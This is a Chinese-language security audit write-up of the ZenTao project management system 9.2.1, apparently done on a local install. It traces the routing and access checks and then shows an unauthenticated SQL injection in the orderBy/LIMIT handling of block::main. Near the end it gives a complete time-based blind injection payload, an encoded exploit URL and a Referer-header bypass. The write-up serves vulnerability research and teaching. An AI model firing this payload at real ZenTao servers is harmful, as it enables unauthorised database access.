0x00 前言
审计cms:禅道开源项目管理软件
版本:9.2.1
工具:phpstorm+xdebug+seay
网站地址:http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/
严重参考:
https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html
https://www.anquanke.com/post/id/160473
0x01 路由
审计cms,首先要研究cms的路由,关注网站根目录下的.htaccess文件。该文件出现:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule (.*)$ index.php/$1 [L]
</IfModule>
所有url,除了文件或者目录,都重写到index.php下。既该cms的入口文件是index.php。
查看index.php文件。
加载框架类:
include '../framework/router.class.php';
include '../framework/control.class.php';
include '../framework/model.class.php';
include '../framework/helper.class.php';
实例化一个App:
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
加载常用模块:
$common = $app->loadCommon();
解析请求、检查权限、载入模块:
$app->parseRequest();
$common->checkPriv();
$app->loadModule();
现在分析parseRequest()方法。parseRequest()方法位于\framework\base\router.class.php文件中(通过跟进router::createApp找到parseRequest函数)。内容如下:
public function parseRequest()
{
if(isGetUrl())
{
if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true);
$this->config->requestType = 'GET';
}
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}
isGetUrl会根据url判断请求方法是否为get类型:
function isGetUrl()
{
$webRoot = getWebRoot();
if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true;
if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true;
if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true;
return false;
}
接下来根据config->requestType的值,进入pathinfo分支或者get分支。
parseXXX()作用为解析出url和显示类型(viewType:html)
setRouteByXXX()作用为根据解析出的url,解析并设置 ModuleName和MethodName与ControlName
(涉及相关的配置位于config\config.php和config\my.php下)
至此,路由前期工作完成。
现在分析checkPriv()方法。
checkPriv()方法位于\module\common\model.php文件中(通过跟进router::loadCommon()找到\module\common\model.php,再搜索找到)。内容如下:
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(isset($this->app->user->modifyPassword) and $this->app->user->modifyPassword and ($module != 'my' or $method != 'changepassword')) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
获得模块名和方法名后:判断是否需要改密码;判断是否使用开放方法;认证用户,已登录用户则判断用户是否具有对应方法的访问权限,否则跳转到登陆页面。
权限检查完毕,就载入对应的模块和方法,执行对应的应用逻辑。
0x02 挖掘sql注入漏洞
挖掘方式:
全项目搜索sql关键词,判断cms执行查询的方式,查找直接使用变量进入语句的函数,查找函数使用的method,查找使用method的module,构建payload执行。
全文搜索:select.*from.*where.*
查看搜索结果ID 1:
判断认为,禅道cms执行查询语句是通过调用抽象方法的,并不会直接使用完整的语句。
现在查看对应的抽象方法,有没有直接使用变量导致可能存在注入漏洞的代码。
翻看/lib/api/base/dao/dao.class.php,可以确定对应的查询抽象方法,都位于这个文件下的sql类。
现在看sql::orderBy()方法:
public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', ' ', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = trim($orders);
if(empty($orders)) return $this;
if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
$orders = explode(',', $orders);
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = $value;
/* such as t1.id field. */
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
if(strpos($field, '`') === false) $field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
if(empty($orders[$i])) unset($orders[$i]);
}
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}
流程如下:
清理特殊字符:
定位limit:
分离limit与orderby部分:
整理orderby部分的格式:
正则匹配大致如下:
a desc
a.id desc
a desc,b desc
转换orderby部分为数组:
对order数组中数据继续转换为数组:
处理orderby的字段,使得其符合如下模式:
a.id->a.`id`
对字段处理完成后,重新join为order数组的元素:
order数组继续join为order字符串,并拼接limit部分:
最终拼接 “order by”:
发现,limit部分未做任何处理,就拼接到查询语句中,则调用orderBy的地方可能存在sql注入。
全文搜索:orderBy\(\$
查看搜索结果ID 1,发现是getTrashes函数使用了orderBy:
可以看到,orderBy函数的参数为$orderBy,通过形参传入,我们继续搜索getTrashes函数,看下谁调用了它,且传入的$orderBy是否我们可控。
全文搜索:getTrashes\(\$
查看搜索结果ID 1,发现是trash函数调用了getTrash
可以看到 ,getTrash的参数$type默认值为‘all’,也是通过形参传入,我们继续搜索trash函数。
全文搜索:trash\(\$
没有结果。说明调用trash函数可能是通过【函数名复制给一个变量,然后直接调用该变量】的形式。
看来有难度。
我们重新回到全文搜索调用orderBy函数的阶段,我们查看搜索结果ID 5:
printCaseBlock函数在assigntome和openedbyme分支都调用了orderBy,orderBy函数的参数为$this->params->orderBy
我们继续查找,谁调用了printCaseBlock函数,还需要确定$this->params->orderBy是否我们可控。
全文搜索:printCaseBlock\(
只找到printCaseBlock函数定义。
所以printCaseBlock函数也应该是通过函数名作为变量的方式来调用的,而且这个变量也有可能是还会继续组合的。
分别全文搜索:printCaseBlock .*?CaseBlock print.*?Block printCase.*?
可以看到,全文搜索 print.*?Block ,出来的搜索结果比较多。
查看搜索结果ID 14,block类的main函数在getblockdata分支下调用了print.*?Block函数:
看下这个$code从哪儿来,往上翻main的代码:
$code来自于$get数组下的blockid字段
$get数组从哪里来的呢?main函数是类block的函数,类block继承于类control:
control继承于baseControl:
在baseControl类可以看到,$get是就是$_GET
继续分析可以知道,baseControl类中的SetSuperVars设置了$get,来自于$this->app->get
这个app其实就是禅道cms入口文件中实例化的$app,它的类为router类,继承于baseRouter类。baseRouter类中的setSuperVars函数实例化super类,将对象赋值给了$get:
super类,其实就是个抽象化的指针:
当禅道cms中需要使用超级变量时,比如使用$this->get->key的形式去拿数据,由于本身super对象并不会存储get数组,它只是存储了对应的变量标记scope:'get',
所以key字段的值并不存在于super对象中,则php在读取类中的无法访问的值时会自动调用类的__get魔术方法,而在super类中实现的__get方法中,会将变量标记'get'对应的全局变量$GET数组中的key字段返回:
至此,可以确定类block的main函数中涉及调用printCaseBlock的变量都是我们可控的。
现在我们来整理下,利用思路:
怎么进入block:main呢?:
baseRouter::setRouteByGET:
\config\config.php:
$_GET['m']=block
$_GET['f']=main
成功进入block::main后,如何进入到printCaseBlock呢?:
$_GET['mode']=getblockdata
$_GET['params']=base64编码(json格式(xxx))
$_GET['blockid']=case
成功进入block::printCaseBlock,如何进入到baseDAO::orderBy,且不会执行出错呢?:
xxx->type=openedbyme
xxx->orderby='order语句'
xxx->num='1'
xxx={"type":"openedbyme","orderby"="order语句","num"="1"}
成功进入baseDAO::orderBy,如何正确插入sql注入语句插入到order语句中?:
order语句=‘order limit sql注入语句’
(语句中的‘order’是表zt_case的字段,不可随意使用任意字段,必须得是表zt_case或或者zt_testrun的字段才不会报错,原因分析而:
sql语句order by 字段 必须得是查询的表的字段
在printCaseBLoc函数中的openedbyme分支中,可以看到from(TABLE_CASE),这个TABLE_CASE就是查询的表:
在config\config.php中定义了:
由此得:TABLE_CASE的值为zt_case)
sql注入语句=‘1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))--’
至此,构造出payload为:
$_GET['m']=block
$_GET['f']=main
$_GET['mode']=getblockdata
$_GET['blockid']=case
$_GET['params']=base64编码(json格式(xxx))
xxx={"orderBy":"order limit 1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))-- ","num":"1,1","type":"openedbyme"}
http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgIChpZihvcmQobWlkKChzZWxlY3QgdXNlcigpKSwxLDEpKT0xLDEsc2xlZXAoMikpKS0tICIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=
访问,发现返回空白
重新检测block:main,发现在block类的构造函数__contruct函数发现:
刚才的请求应该是进入到这个if分支中,执行了die('')。
如何绕过?:
只要$_SERVER['http_referer']与common:getSysURL()的值相等,则strpos返回0,则 || 连接的整个表达式的值为1,则$this->selfCall的值1
则!this->selfCall值为0,则不会进入if分支,不会执行 die('');
而common:getSysURL():
所以只需要在请求的header添加上:Referer:http://localhost 即可:
可以看到耗时2s多,我们传入的sql注入语句被执行了。
ps:1
其实还有个问题,我们知道,有些api是不会直接暴露出来的,可能需要认证后才可以访问,其中这个授权的工作是在什么地方做的呢?
我们跟踪一下:
index.php:
这个$common来自何处?index.php:
我们看看这个loadCommon()做了啥,跟进$app:
进入\framework\base\router.class.php,可以看到是载入common模块,返回commonModel类:
模块都位于\moudle下,找到commom模块的位置,进入\module\common\model.php,看下checkPriv()函数:
关键是isOpenMethod函数,跟进查看:
可以看到,我们这次审计出的block::main方法是公开的。
ps:url中的<>会被html实体编码